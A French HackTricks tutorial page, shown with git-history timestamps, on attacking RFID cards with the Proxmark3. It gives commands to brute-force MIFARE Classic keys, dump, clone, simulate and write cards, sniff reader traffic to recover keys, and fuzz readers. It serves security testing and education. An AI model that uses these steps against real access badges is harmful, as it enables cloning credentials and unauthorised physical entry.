hacktricks/todo/radio-hacking/proxmark-3.md

53 lines
3.5 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
## Attaquer les systèmes RFID avec Proxmark3
2022-12-24 11:52:08 +00:00
2023-06-03 13:10:46 +00:00
La première chose dont vous avez besoin est d'un [**Proxmark3**](https://proxmark.com) et d'**installer le logiciel et ses dépendances** (https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
2022-12-24 11:52:08 +00:00
2023-06-03 13:10:46 +00:00
### Attaquer MIFARE Classic 1KB
2022-12-24 11:52:08 +00:00
2023-06-03 13:10:46 +00:00
Il a **16 secteurs**, chacun d'eux a **4 blocs** et chaque bloc contient **16B**. L'UID est dans le secteur 0 bloc 0 (et ne peut pas être modifié).\
Pour accéder à chaque secteur, vous avez besoin de **2 clés** (**A** et **B**) qui sont stockées dans **le bloc 3 de chaque secteur** (secteur de la remorque). Le secteur de la remorque stocke également les **bits d'accès** qui donnent les autorisations de **lecture et d'écriture** sur **chaque bloc** en utilisant les 2 clés.\
2 clés sont utiles pour donner des autorisations de lecture si vous connaissez la première et d'écriture si vous connaissez la deuxième (par exemple).
2022-12-24 11:52:08 +00:00
2023-06-03 13:10:46 +00:00
Plusieurs attaques peuvent être effectuées.
2022-12-24 11:52:08 +00:00
```bash
proxmark3> hf mf #List attacks
proxmark3> hf mf chk *1 ? t ./client/default_keys.dic #Keys bruteforce
proxmark3> hf mf fchk 1 t # Improved keys BF
proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF # Read block 0 with the key
proxmark3> hf mf rdsc 0 A FFFFFFFFFFFF # Read sector 0 with the key
proxmark3> hf mf dump 1 # Dump the information of the card (using creds inside dumpkeys.bin)
proxmark3> hf mf restore # Copy data to a new card
proxmark3> hf mf eload hf-mf-B46F6F79-data # Simulate card using dump
proxmark3> hf mf sim *1 u 8c61b5b4 # Simulate card using memory
proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to block 1
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
2023-06-03 13:10:46 +00:00
Le Proxmark3 permet d'effectuer d'autres actions telles que l'**écoute** d'une **communication Tag-Lecteur** pour essayer de trouver des données sensibles. Dans cette carte, vous pouvez simplement renifler la communication et calculer la clé utilisée car les **opérations cryptographiques utilisées sont faibles** et en connaissant le texte en clair et le texte chiffré, vous pouvez le calculer (outil `mfkey64`).
2022-12-24 11:52:08 +00:00
2023-06-03 13:10:46 +00:00
### Commandes brutes
2022-12-24 11:52:08 +00:00
2023-06-03 13:10:46 +00:00
Les systèmes IoT utilisent parfois des **étiquettes non marquées ou non commerciales**. Dans ce cas, vous pouvez utiliser le Proxmark3 pour envoyer des **commandes brutes personnalisées aux étiquettes**.
2022-12-24 11:52:08 +00:00
```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
```
2023-06-03 13:10:46 +00:00
Avec cette information, vous pouvez essayer de rechercher des informations sur la carte et sur la manière de communiquer avec elle. Proxmark3 permet d'envoyer des commandes brutes telles que : `hf 14a raw -p -b 7 26`
2022-12-24 11:52:08 +00:00
### Scripts
2023-06-03 13:10:46 +00:00
Le logiciel Proxmark3 est livré avec une liste préchargée de **scripts d'automatisation** que vous pouvez utiliser pour effectuer des tâches simples. Pour récupérer la liste complète, utilisez la commande `script list`. Ensuite, utilisez la commande `script run`, suivie du nom du script :
2022-12-24 11:52:08 +00:00
```
proxmark3> script run mfkeys
```
2023-06-03 13:10:46 +00:00
Vous pouvez créer un script pour **fuzzer les lecteurs de tags**, en copiant les données d'une **carte valide**, il suffit d'écrire un **script Lua** qui **randomise** un ou plusieurs **octets aléatoires** et vérifie si le **lecteur plante** avec chaque itération.